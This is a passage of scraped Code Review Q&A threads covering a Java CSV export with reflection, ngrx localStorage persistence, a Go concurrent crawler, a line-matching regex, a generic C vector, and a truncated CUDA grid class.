currentFieldName = fieldNames[index];\n Field field = fields.get(currentFieldName);\n \n if (field != null) {\n values[index] = Objects.toString(field.getObject(object));\n } else {\n values[index] = "-";\n }\n }\n \n csvWriter.writeNext(values);\n}\n\nprivate Map<String, Field> getFields(Class<?> clazz) {\n // Could be cached for each class if performance is important.\n Map<String, Field> fields = new HashMap<>();\n \n for (Field field : clazz.getDeclaredFields()) {\n // Maybe add some checks, like if the field is static or not.\n field.setAccessible(true);\n fields.put(field.getName(), field);\n }\n \n return fields;\n}\n</code></pre>\n<p>Untested and without exception handling, but I guess you see where this is going.</p>\nGetters/Setters\n<p>Like above, you can access the Getters/Setters reflectively. It is close to the same solution as above, with the difference that you don't need the set the fields accessible. However, you must be slightly more selective with what methods you expose in that case, and you need to convert the names.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T18:51:54.407",
"Id": "489153",
"Score": "0",
"body": "Last option seems great. But from what I see my header would be bound to the data. And I would like to be able to save `Weapon` and `Food` to the same table. And for example when `Food` does not have field called `dmg` just write -. I was thinking more about creating CsvExportable interace. I will write it down under first post"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T11:35:26.787",
"Id": "489235",
"Score": "0",
"body": "Regarding the last option: the fields are private and therefore not readable. But as Suule mentioned in the question, there are getters and setters, therefore the pojos adhere to the java bean standard. In that case, better use a `java.beans.Introspector` to fetch the `BeanInfo` and then go over the properties from there."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T17:29:06.320",
"Id": "489281",
"Score": "0",
"body": "@mtj You can always set them accessible. Which is, of course, depending on the environment, but most of the time not a problem. But yes, using the Getters/Setters is also an option in this case. I should most likely add that to my answer, I omitted it originally because I'd rather use the fields."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T17:30:13.217",
"Id": "489282",
"Score": "0",
"body": "@Suule Yes, or you define a header field as containing a title and a field name. A simple class for that would do the job and it is still easily readable."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T16:28:06.717",
"Id": "249501",
"ParentId": "249495",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": "249501",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T13:26:04.490",
"Id": "249495",
"Score": "4",
"Tags": [
"java"
],
"Title": "Export Hero information and list of his items to excel sheet/csv"
}
|
249495
|
<p>I use <code>ngrx</code> in my Angular app to state management. At a certain time I was asked to save some variable to local storage and retrieve it with first load.
That made sense to make it as part of the effects, instead of managing one logic for localStorage and another logic for the selectors. So this is what I did;</p>
<p>I extended ngrx <code>Action</code> class as following:</p>
<pre><code>import { Action } from '@ngrx/store';
export class StorableAction implements Action {
type: string;
payload?: any;
localStorageKey?: string;
}
</code></pre>
<p>Implemented it in the actions (<code>snapshots.actions.ts</code>):</p>
<pre><code>export class ChangeResolutionWidth implements StorableAction {
public readonly type = ESnapshotsActionType.ChangeResolutionWidth;
public readonly localStorageKey = LocalStorageKey.SnapshotsResolutionWidth;
constructor(public payload: number) { }
}
</code></pre>
<p>Then in <code>snapshots.effects.ts</code>:</p>
<pre><code>constructor(
private channelsService: ChannelsService,
private actions$: Actions,
private store: Store<SnapshotsState>
) {
this.actions$.subscribe(
(action: StorableAction) => {
if (action.localStorageKey && action.payload){
localStorage.setItem(action.localStorageKey, JSON.stringify(action.payload));
}
})
}
</code></pre>
<p>Now, whenever I load a component, I do <code>this.store.select</code> with <code>take(1)</code> to <code>selectResolutionWidth</code> (in the example above). If the value is <code>undefined</code>, then I take it from the localStorage and dispatch it. That felt like a sweet solution - whenever I needed to store some state value to the local storage, all I needed is to use <code>StorableAction</code> instead of <code>Action</code> and name the <code>key</code>.</p>
<p>My questions are:</p>
<ol>
<li>would you say it is a proper implementation of store effects, or am I bending the separation of concerns principal?</li>
<li>Now I've come to a scenario in which I need to store a value to the local storage that is actually not needed in the state (I only use it in one component). That brings up a conflict - should I use the same mechanism I created, or store to the local storage directly (which will cause a duplication, when <code>localStorage</code> is being managed both in state level and component level). What's better?</li>
</ol>
<p>Thanks!</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T14:17:39.580",
"Id": "249499",
"Score": "2",
"Tags": [
"typescript",
"angular-2+",
"state"
],
"Title": "Storing localStorage data as part of rxjs reducer?"
}
|
249499
|
<h1>Description</h1>
<p>As an exercise of learning go concurrency patterns, I decided too build a concurrent web crawler.</p>
<p>I made use of the <a href="https://codereview.stackexchange.com/questions/248911/argparse-for-golang">argparse module I put up for review</a> a while back.</p>
<p>I'm looking for feedback on my concurrency pattern, but any and all aspect of the code is open to be flamed :)</p>
<h1>Code</h1>
<pre><code>package main
import (
"fmt"
"sync"
"net/http"
"io"
"golang.org/x/net/html"
"strings"
"sort"
"argparse"
)
func min(vars ...int) int {
m := vars[0]
for i := 1; i < len(vars); i++ {
if vars[i] < m {
m = vars[i]
}
}
return m
}
type Crawler struct {
base string
pop chan []string
push chan string
wg *sync.WaitGroup
visited map[string]bool
hrefs []string
queue []string
maxChannels int
}
func newCrawler(base string, maxChannels int) Crawler {
c := Crawler {
base: base,
maxChannels: maxChannels,
pop: make(chan []string, maxChannels),
push: make(chan string, maxChannels),
wg: new(sync.WaitGroup),
visited: make(map[string]bool),
queue: make([]string, 1),
}
c.queue[0] = base
c.visited[base] = true
return c
}
func (c *Crawler) run() []string {
defer func() {
c.wg.Wait()
}()
for len(c.queue) > 0 {
l := min(len(c.queue), c.maxChannels)
for i := 0; i < l; i++ {
url := c.queue[0]
c.queue = c.queue[1:]
c.hrefs = append(c.hrefs, url)
c.runWorker(url)
c.push <- url
}
for i := 0; i < l; i++ {
hrefs := <- c.pop
c.filterHrefs(hrefs)
}
}
return c.hrefs
}
func (c *Crawler) filterHrefs(hrefs []string) {
for _, href := range hrefs {
if _, f := c.visited[href]; !f && strings.Contains(href, c.base) {
c.visited[href] = true
c.queue = append(c.queue, href)
}
}
}
func (c *Crawler) runWorker(url string) {
w := Worker {
base: c.base,
push: c.pop,
pop: c.push,
wg: c.wg,
}
c.wg.Add(1)
go w.run()
}
type Worker struct {
base string
push chan []string
pop chan string
wg *sync.WaitGroup
}
func (w *Worker) parseHref(href string) string {
var url string
switch {
case strings.HasPrefix(href, "/"):
url = w.base + href
case strings.HasPrefix(href, "http"):
url = href
}
return url
}
func (w *Worker) getAllHrefs(body io.Reader) []string {
hrefs := make([]string, 0)
page := html.NewTokenizer(body)
for page.Next() != html.ErrorToken {
token := page.Token()
if token.Data == "a" {
for _, a := range token.Attr {
if a.Key == "href" {
hrefs = append(hrefs, w.parseHref(a.Val))
}
}
}
}
return hrefs
}
func (w *Worker) fetch(url string) (io.Reader, error) {
resp, err := http.Get(url)
if err != nil {
return nil, err
}
return resp.Body, nil
}
func(w *Worker) run() {
defer func() {
w.wg.Done()
}()
url := <- w.pop
hrefs := make([]string, 0)
body, err := w.fetch(url)
if err == nil {
hrefs = w.getAllHrefs(body)
}
w.push <- hrefs
}
func parseArguments() map[string]interface{} {
parser := argparse.Argparse {
Description: "Site crawler by @Ludisposed",
}
parser.AddArgument(
argparse.Argument {
ShortFlag: "b", LongFlag: "base", Type: "string",
Required: true, Help: "The base of the url",
},
)
parser.AddArgument(
argparse.Argument {
ShortFlag: "m", LongFlag: "max", Type: 10,
Help: "Max amount of channels", Default: 10,
},
)
return parser.Parse()
}
func main() {
args := parseArguments()
crawler := newCrawler(
args["base"].(string),
args["max"].(int),
)
hrefs := crawler.run()
sort.Strings(hrefs) // Sorting because pretty
for _, h := range hrefs {
fmt.Println(h)
}
fmt.Println("\n[+] Total unique urls found:", len(hrefs))
}
</code></pre>
|
[] |
[
{
"body": "<p>Disclaimer: I haven't had much exposure to golang. I'm mostly trying to pick up the language by going through random projects.</p>\n<p>Going over the code you've provided, it seems to be easily followed. A few pointers (questions? concerns?), which might be due to my lack of knowledge:</p>\n<ol>\n<li><p>Your min function uses a for loop, where the conditional statement calls <code>len(vars)</code> on each iteration. This seems inefficient. Later in your code, you've used <code>for _, value := range iterable</code> style syntax. I'd be preferring that over here as well; since we're interested in value only, and not the index.</p>\n</li>\n<li><p>When extracting the <code>href</code> attribute for all <code>a</code> tags, you keep iterating over attributes even when you've successfully captured href. Break early?</p>\n<pre><code> for _, a := range token.Attr {\n if a.Key == "href" {\n hrefs = append(hrefs, w.parseHref(a.Val))\n break\n }\n }\n</code></pre>\n</li>\n<li><p>The <code>parseHref</code> function uses a switch statement, without a fallback <code>default</code>. It should return an error if the provided value does not satisfy either of those, or if you're planning to return the same value, then a switch-case block seems overwhelming.</p>\n<pre><code> func (w *Worker) parseHref(href string) string {\n url = href\n if strings.HasPrefix(href, "/") {\n url = w.base + href\n }\n return url\n }\n</code></pre>\n</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-09T14:36:42.573",
"Id": "491345",
"Score": "0",
"body": "I'm only starting with go myself, but you've raised some valid points! Do you have any thoughts about the concurrency pattern? As it was the reason that prompted the question. IMHO the pattern seems off, (waiting till all goroutines are done before firing off the next batch)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-10T10:55:21.527",
"Id": "491406",
"Score": "0",
"body": "The functionality seems to be fine. Gathering results from channels is something which seems to me to be a personal preference. You can also try to take help of the merge and parallel digestion examples on this blog post: https://blog.golang.org/pipelines @Ludisposed"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-06T10:25:27.287",
"Id": "250270",
"ParentId": "249502",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "250270",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T16:32:50.360",
"Id": "249502",
"Score": "6",
"Tags": [
"web-scraping",
"go",
"concurrency"
],
"Title": "Concurrent Web Crawler"
}
|
249502
|
<p>My requirement is to match each line of a text file, including the line terminator of each, at most excluding the terminator of the last line, to take into account the crippled, non POSIX-compiant files generated on Windows; each line terminator can be either <code>\n</code> or <code>\r\n</code>.</p>
<p>As a consequence, no character in the file should be left unmatched.</p>
<p>The best regex I could come up with is <a href="https://regex101.com/r/SFqWEO/1" rel="nofollow noreferrer">this</a>:</p>
<pre class="lang-none prettyprint-override"><code>\n|\r\n|[^\r\n]++(\r\n|\n)?
</code></pre>
<p>Is this the best I can write, performance-wise?</p>
<p>Please, if you use the <code>^</code>/<code>$</code> anchors or similar, comment about that, because their behavior is dependent on whether the engine considers them as multiline by default.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T18:01:01.570",
"Id": "489284",
"Score": "0",
"body": "What is the regex engine you are using for this task? The best expression will depend on the regex flavor."
}
] |
[
{
"body": "<p>I think this would work:</p>\n<pre><code>.*(\\r?\\n|$)\n</code></pre>\n<p><code>.*</code> matches anything except line breaks (at least '\\n', but some regex engines also treat other characters as line breaks).</p>\n<p><code>(\\r?\\n|$)</code> matches the line break or the end of the string (in case the last line is missing a line break.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T18:14:59.800",
"Id": "489150",
"Score": "0",
"body": "This seems interesting. Any comment on the performances? Since you assume `.` is not matching line breaks, maybe `.*+` would improve the performance (as long as `.` doesn't match `\\r` either)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T23:04:06.513",
"Id": "489177",
"Score": "1",
"body": "I don't think using a possessive qualifier would speed things up in this case, because there shouldn't be any backtracking. Maybe use `[^\\r\\n]*` instead of `.*`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T23:06:26.520",
"Id": "489178",
"Score": "0",
"body": "no, no backtracking indeed, but the non possessive quantifier means that reach status is saved in case backtracking read needed. No?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T23:11:21.140",
"Id": "489183",
"Score": "1",
"body": "I imagine that would depend on the implementation of the regex engine. Best bet would be to test them and see which is faster."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T07:28:36.063",
"Id": "489206",
"Score": "0",
"body": "This regex, however as one insidious flaw: it matches an empty string at the end of the file, as you can see [here](https://regex101.com/r/SFqWEO/2). This represents a major issue, as the number of matches is +1 the number of lines."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T18:03:47.380",
"Id": "489285",
"Score": "1",
"body": "\"there shouldn't be any backtracking\": it depends on the regex flavor and even additional options. If it is Java, and `UNIX_LINES` flag is used, `.` also matches CR and there will be backtracking. Same thing concerns the .NET regex flavor, where `.` matches CR symbol. This can also happen in PCRE."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T22:56:07.877",
"Id": "489298",
"Score": "0",
"body": "@EnricoMariaDeAngelis is the last line guaranteed to have a line terminator? Can there be blank lines?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T23:08:03.760",
"Id": "489299",
"Score": "0",
"body": "@RootTwo, no, the last line is _not_ guaranteed to have a line terminator; yes, there can be blank lines, but beware that _blank line_ means a line only containing the line terminator."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T18:04:26.923",
"Id": "249507",
"ParentId": "249505",
"Score": "1"
}
},
{
"body": "<p>According to the official document of <a href=\"https://docs.python.org/3/library/functions.html#open\" rel=\"nofollow noreferrer\"><code>open</code></a>,</p>\n<blockquote>\n<p><em>newline</em> controls how universal newlines mode works (it only applies to\ntext mode). It can be None, '', '\\n', '\\r', and '\\r\\n'. It works as\nfollows:</p>\n<ul>\n<li>When reading input from the stream, if newline is None, universal newlines mode is enabled. Lines in the input can end in '\\n', '\\r', or\n'\\r\\n', and these are translated into '\\n' before being returned to\nthe caller. If it is '', universal newlines mode is enabled, but line\nendings are returned to the caller untranslated. If it has any of the\nother legal values, input lines are only terminated by the given\nstring, and the line ending is returned to the caller untranslated.</li>\n</ul>\n</blockquote>\n<p>IIUC, adding <code>newline=''</code> to <code>open</code> is what you need. To iterate over the file line by line, you could simply do <code>for line in f</code>. To read all lines at once, the <a href=\"https://docs.python.org/3/library/io.html#io.IOBase.readlines\" rel=\"nofollow noreferrer\"><code>readlines</code></a> function could be used.</p>\n<pre><code>with open("text.txt", "w") as f:\n f.write("a\\r\\nb\\nc")\nwith open("text.txt", "r", newline="") as f:\n print([line for line in f])\nwith open("text.txt", "r", newline="") as f:\n print(f.readlines())\n</code></pre>\n<p>Output:</p>\n<pre><code>['a\\r\\n', 'b\\n', 'c']\n['a\\r\\n', 'b\\n', 'c']\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T03:14:04.343",
"Id": "249562",
"ParentId": "249505",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249507",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T17:33:57.443",
"Id": "249505",
"Score": "1",
"Tags": [
"performance",
"regex",
"posix"
],
"Title": "Regex to match each line in a file, with windows and/or linux line break included, even for missing line break at EOF"
}
|
249505
|
<p>I wanted to create a vector that can be used for different types, as generics do not exist in C.
I came up with an implementation that maintains a buffer on the heap and reallocs itself when the buffer size is exceeded. The heart of the implementation are the macros that can be used to retrieve and insert elements conveniently.</p>
<p>Example:</p>
<pre><code>Vector vec = vec_create(sizeof(char*), 1); // Params: Size of each element, start size
VEC_PUSH_ELEM(&vec, char*, "hello"); // Params: Vector, type and value
char *test = VEC_GET_ELEM(&vec, char*, 0); // Params: Vector, type and index
vec_destroy(&vec); // Free buffer
</code></pre>
<p>vector.h:</p>
<pre><code>#pragma once
#include <stdbool.h>
#include <stdlib.h>
#include <stdarg.h>
// May change the buffer location
#define VEC_PUSH_ELEM(vec, type, expr) (*(type*)vec_push_empty(vec)) = expr
#define VEC_SET_ELEM(vec, type, index, expr) (*(type*)vec_get(vec, index)) = expr
// The following macros will dereference a NULL pointer on invalid index or empty vector
#define VEC_GET_ELEM(vec, type, index) (*(type*)vec_get(vec, index))
#define VEC_POP_ELEM(vec, type) *(type*)vec_pop(vec)
#define VEC_PEEK_ELEM(vec, type) *(type*)vec_peek(vec)
/*
* Never save pointers when there are elements
* inserted into the buffer! It can be realloc'ed!
*/
typedef struct
{
size_t elem_size;
size_t elem_count;
size_t buffer_size;
void *buffer;
} Vector;
// Buffer handling
void vec_trim(Vector *vec);
bool vec_ensure_size(Vector *vec, size_t needed_size);
Vector vec_create(size_t elem_size, size_t start_size);
void vec_reset(Vector *vec);
void vec_destroy(Vector *vec);
// Insertion
void *vec_push(Vector *vec, void *elem);
void *vec_push_many(Vector *vec, size_t num, void *elem);
void *vec_push_empty(Vector *vec);
// Retrieval
void *vec_get(Vector *vec, size_t index);
void *vec_pop(Vector *vec);
void *vec_peek(Vector *vec);
// Attributes
size_t vec_count(Vector *vec);
</code></pre>
<p>vector.c:</p>
<pre><code>#include <string.h>
#include "alloc_wrappers.h"
#include "vector.h"
#define MAX(a, b) ((a) > (b) ? (a) : (b))
#define VECTOR_GROWTHFACTOR 0.5
void vec_trim(Vector *vec)
{
vec->buffer_size = vec->elem_count + 1;
vec->buffer = realloc_wrapper(vec->buffer, vec->elem_size * vec->buffer_size);
}
// Returns true if buffer needed to be extended.
bool vec_ensure_size(Vector *vec, size_t needed_size)
{
bool res = false;
while (needed_size > vec->buffer_size)
{
res = true;
vec->buffer_size += MAX(1, (size_t)(vec->buffer_size * VECTOR_GROWTHFACTOR));
}
vec->buffer = realloc_wrapper(vec->buffer, vec->elem_size * vec->buffer_size);
return res;
}
Vector vec_create(size_t elem_size, size_t start_size)
{
return (Vector){
.elem_size = elem_size,
.elem_count = 0,
.buffer_size = start_size,
.buffer = malloc_wrapper(elem_size * start_size)
};
}
void vec_reset(Vector *vec)
{
vec->elem_count = 0;
}
void vec_destroy(Vector *vec)
{
free(vec->buffer);
}
void *vec_push(Vector *vec, void *elem)
{
return vec_push_many(vec, 1, elem);
}
/*
Summary: To push a literal fast, for convenience use VEC_PUSH_LITERAL-Macro
*/
void *vec_push_empty(Vector *vec)
{
vec_ensure_size(vec, vec->elem_count + 1);
return vec_get(vec, vec->elem_count++);
}
void *vec_push_many(Vector *vec, size_t num, void *elem)
{
vec_ensure_size(vec, vec->elem_count + num);
void *first = (char*)vec->buffer + vec->elem_size * vec->elem_count;
memcpy(first, elem, num * vec->elem_size);
vec->elem_count += num;
return first;
}
void *vec_get(Vector *vec, size_t index)
{
return (char*)vec->buffer + vec->elem_size * index;
}
void *vec_pop(Vector *vec)
{
if (vec->elem_count == 0) return NULL;
vec->elem_count--;
return vec_get(vec, vec->elem_count);
}
void *vec_peek(Vector *vec)
{
if (vec->elem_count == 0) return NULL;
return vec_get(vec, vec->elem_count - 1);
}
size_t vec_count(Vector *vec)
{
return vec->elem_count;
}
</code></pre>
<p>malloc_wrapper and realloc_wrapper are just malloc and realloc that print to stderr and exit the application when NULL is returned and the size was not 0.
My main concerns are that pointers to items within the vector can be passed to client code and stored there. These will become invalid if realloc changes the base address of the buffer.
Are there any ways to do it differently, or is it just something to live with?
Also, are the macros any good or too error-prone?</p>
<p>I'm looking forward to better my coding style, thanks in advance!
Philipp</p>
<p>You can see the whole code at: <a href="https://github.com/PhilippHochmann/ccalc/blob/master/src/util/vector.h" rel="nofollow noreferrer">vector.h</a> and <a href="https://github.com/PhilippHochmann/ccalc/blob/master/src/util/vector.c" rel="nofollow noreferrer">vector.c</a></p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T21:53:57.927",
"Id": "489173",
"Score": "0",
"body": "Do you have code for unit testing this that you can add to the question? That would provide a better explanation of use then the brief snippet you provided at the top,"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T23:07:04.590",
"Id": "489180",
"Score": "0",
"body": "I've made an edit extending my example :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T23:29:10.007",
"Id": "489185",
"Score": "0",
"body": "I rolled back your edit, because editing the code after the answer was received invalidates the answer. Feel free to post a follow-up question with all necessary changes."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T23:52:17.210",
"Id": "489189",
"Score": "3",
"body": "@vnp I don't see how editing the example usage, not their actual code, has invalidated your answer. What point in your answer does it make moot?"
}
] |
[
{
"body": "<ul>\n<li><p>To address your immediate concern, there are so many ways for the client to invalidate the vector, that you should not worry. STL bluntly documents the conditions when the iterators are invalidated. Just follow the suit.</p>\n<p>Depending on the use case, you may not let the client have pointer to individual elements at all (just do not return them).</p>\n</li>\n<li><p>To expand on the bullet point above, I strongly recommend to add mapping (apply a function to each element of vector) and folding (apply a function while accumulating result) capabilities. This would eliminate 99% of client needs to have pointers to the vector elements.</p>\n</li>\n<li><p>I don't see how the caller may use the value returned by <code>vec_ensure_size</code>. Making it <code>void</code> seems more natural.</p>\n</li>\n<li><p>Macros are to be avoided. In C, the <code>void *</code> is automatically converted to a suitable one, as LHS is declared. <code>GET, POP, PEEK</code> provide neither help nor security. <code>PUSH</code> and <code>SET</code> - in my opinion - only clutter the code. Other people may have other opinions.</p>\n<p>BTW, <code>VEC_GET</code> may also dereference an invalid index.</p>\n</li>\n</ul>\n<p>PS: In a private conversation Alex Stepanov said that the biggest mistake of STL was calling it <code>vector</code>. It is not a vector, it is a (dynamic) array.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T23:09:14.993",
"Id": "489182",
"Score": "0",
"body": "I've removed the retrieval macros but I guess I will hold on to PUSH and SET for now. Also, I needed the return value for vec_ensure_size for something else, but as I looked at it again now I realised I could do this thing a lot easier without the return value! Thanks for your elaborate answer."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T21:58:06.147",
"Id": "249518",
"ParentId": "249508",
"Score": "2"
}
},
{
"body": "<p>Little review.</p>\n<p><strong><code>vec_ensure_size()</code> improvements</strong></p>\n<p>Rather than loop to the needed size, get there directly.</p>\n<p>Also, no need to to <code>realloc()</code> if <code>vec->buffer_size</code> did not increase.</p>\n<p>Alternate:</p>\n<pre><code>bool vec_ensure_size(Vector *vec, size_t needed_size) {\n if (needed_size <= vec->buffer_size) {\n return false;\n }\n vec->buffer_size += (size_t)(vec->buffer_size * VECTOR_GROWTHFACTOR);\n if (vec->buffer_size < needed_size) {\n vec->buffer_size = needed_size;\n }\n // Pedantic check for overflow\n assert(vec->buffer_size <= SIZE_MAX/vec->elem_size);\n\n vec->buffer = realloc_wrapper(vec->buffer, vec->elem_size * vec->buffer_size);\n return true;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T10:44:49.337",
"Id": "489227",
"Score": "0",
"body": "I thought it would be nice to always realloc to give the allocator the opportunity to defragment the memory space. I guess most of the time it will just do nothing when the size does not change."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T13:49:15.837",
"Id": "489251",
"Score": "1",
"body": "@PhilippHochmann Perhaps. Yet rather than code to what the allocate might do (there a _lots_ of allocation algorithms) make clear code. IAC, with exponential growth, the allocation costs should have minimal impact anyways."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T06:30:11.803",
"Id": "249525",
"ParentId": "249508",
"Score": "1"
}
},
{
"body": "<p>The biggest improvement you can do of this is to convert to so-called "opaque type", meaning private encapsulation. This means that you have to re-write the code a bit and provide "constructors"/"destructors". <code>vec_create</code> is supposed to be this and not some "buffer handling" member function.</p>\n<p>So you could change the header to this:</p>\n<pre><code>// forward declaration, opaque type\ntypedef struct Vector Vector;\n\n// Constructors\nVector* vec_create(size_t elem_size, size_t start_size);\n\n// Destructor\nvoid vec_free (Vector* vec);\n</code></pre>\n<p>And then in the C file:</p>\n<pre><code>// struct implementation, private members:\nstruct Vector\n{\n size_t elem_size;\n size_t elem_count;\n size_t buffer_size;\n void *buffer;\n};\n\n\nVector* vec_create(size_t elem_size, size_t start_size)\n{\n Vector* obj = malloc(sizeof(Vector));\n if(obj != NULL)\n {\n *obj = (Vector){\n .elem_size = elem_size,\n .elem_count = 0,\n .buffer_size = start_size,\n .buffer = malloc(elem_size * start_size)\n };\n }\n return obj;\n}\n\nvoid vec_free (Vector* vec)\n{\n free(vec->buffer);\n free(vec);\n}\n</code></pre>\n<p>Now all struct members are completely private and can't be accessed by the caller. But this also means that the caller can't allocate objects of type <code>Vector</code> themselves, so they have to declare <code>Vector*</code> and pass those to your class.</p>\n<p>Other remarks:</p>\n<ul>\n<li><p>I'd recommend to get rid of the macros. They do not add any type safety, but just hide away casts. Let the caller do the casts. However, exposing a <code>void*</code> to a private member is a bad idea, all of these should be <code>const void*</code> if anything.</p>\n<p>You could perhaps consider including type information with the struct, in which case more intricate and type safe wrapper macros might be possible.</p>\n</li>\n<li><p>All function like macros must be surrounded by parenthesis.</p>\n</li>\n<li><p>Don't use non-portable <code>#pragma once</code>, there is no reason to use non-standard extensions that are 100% equivalent to standard C features. Use <code>#ifndef VECTOR_H</code> <code>#define VECTOR_H</code> <code>#endif</code> instead.</p>\n</li>\n<li><p>You should move all <code>#include</code> to the header file, in order to document code dependencies to the user of your code. For example you have some "alloc_wrappers.h" that you didn't post, so when trying to compile this, I get various errors in the .c file.</p>\n</li>\n<li><p>Use <em>const correctness</em> on member functions that don't modify the passed Vector.</p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T09:52:37.450",
"Id": "489425",
"Score": "0",
"body": "Thank you, all these remarks are very helpful and I think I'll implement them. On your first remark: On my first draft I did it like this, but I feared that the additional heap chunk of size Vector had too much overhead. I could go with one heap chunk by making \"buffer\" a flexible array member at the end of the vector, like the \"data\" member of the TrieNode here: https://github.com/PhilippHochmann/ccalc/blob/master/src/util/trie.h Are there any reasons against this?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T09:58:16.843",
"Id": "489426",
"Score": "1",
"body": "@PhilippHochmann If you could make it a flexible array member (of `uint8_t`), then you can allocate all heap memory in one go, which will be much more effective than the code with multiple malloc that I posted above. Better heap use, more cache friendly data, faster execution of vec_create."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T09:13:48.287",
"Id": "489525",
"Score": "0",
"body": "Why is it beneficial to return const void* instead of void* when the first thing I do after retrieval is casting it to a non-const pointer type?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T09:27:40.790",
"Id": "489526",
"Score": "0",
"body": "@PhilippHochmann If you allow the caller to modify member variables, then you break private encapsulation and create a \"tight coupling\" dependency between everything. Needless to say, nobody is allowed to \"cast away\" `const` qualified variables since that invokes undefined behavior. If some nutto caller does that anyway, that's their problem."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T09:28:23.030",
"Id": "489527",
"Score": "0",
"body": "@PhilippHochmann But most sensibly written classes/ADTs don't return data by reference at all, but by value through hard copies. Sacrificing a tiny bit of performance in order to prevent that the whole program turns into some pointer spaghetti nightmare, where everything is connected to everything else."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T10:30:01.443",
"Id": "489533",
"Score": "0",
"body": "I most likely can't do this as I use the Vector in a matching algorithm that heavily depends on performance. Many matchings directly reside in the vector and I have to manipulate them fast by obtaining pointers that point into the vector's buffer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T11:13:03.987",
"Id": "489538",
"Score": "0",
"body": "@PhilippHochmann Code for readability first, benchmark and deal with bottlenecks later. For example, the multiple fragmented malloc calls that you spotted & suggested to fix with flexible array members is likely a far more severe performance bottleneck than hard-copying a whole buffer, even though the latter spontaneously sounds like something very slow. Most modern high-end computers have data cache and shovel contiguous data from one place to another very fast, particularly when using align-sized chunks, all that good stuff inside `memcpy` & friends."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T09:32:46.640",
"Id": "249612",
"ParentId": "249508",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249612",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T18:23:45.293",
"Id": "249508",
"Score": "4",
"Tags": [
"c",
"generics"
],
"Title": "Type-independent vector in C"
}
|
249508
|
<p><strong>UPDATED</strong></p>
<p>I would like to create a class, which is intended to represent a field of values on a <strong>2D</strong> grid. So, I would like to access the elements with a double square bracket <code>A[i][j]</code>, and inside the <code>__global__</code> or <code>__device__</code> function access the dimensions of the field - <code>nx_, ny_</code>, because I do not want to pass them each time as an arguments to the functions.<br />
In order to execute multiple threads on this structure, as far as I understand, I have to pass it as a pointer on the device memory. I've come with a following solution, but it doesn't look very beatufil and efficient.</p>
<pre><code>template <typename T>
struct Field
{
DEVHOST Field(size_t nx, size_t ny)
{
cudaMalloc(reinterpret_cast<void**>(&dev_ptr_), sizeof(dev_ptr_));
init_kernel<<<1,1>>>(dev_ptr_, nx, ny);
}
DEVHOST ~Field()
{
delete_kernel<<<1,1>>>(dev_ptr_);
cudaFree(dev_ptr_);
}
Field<T>* devPtr()
{
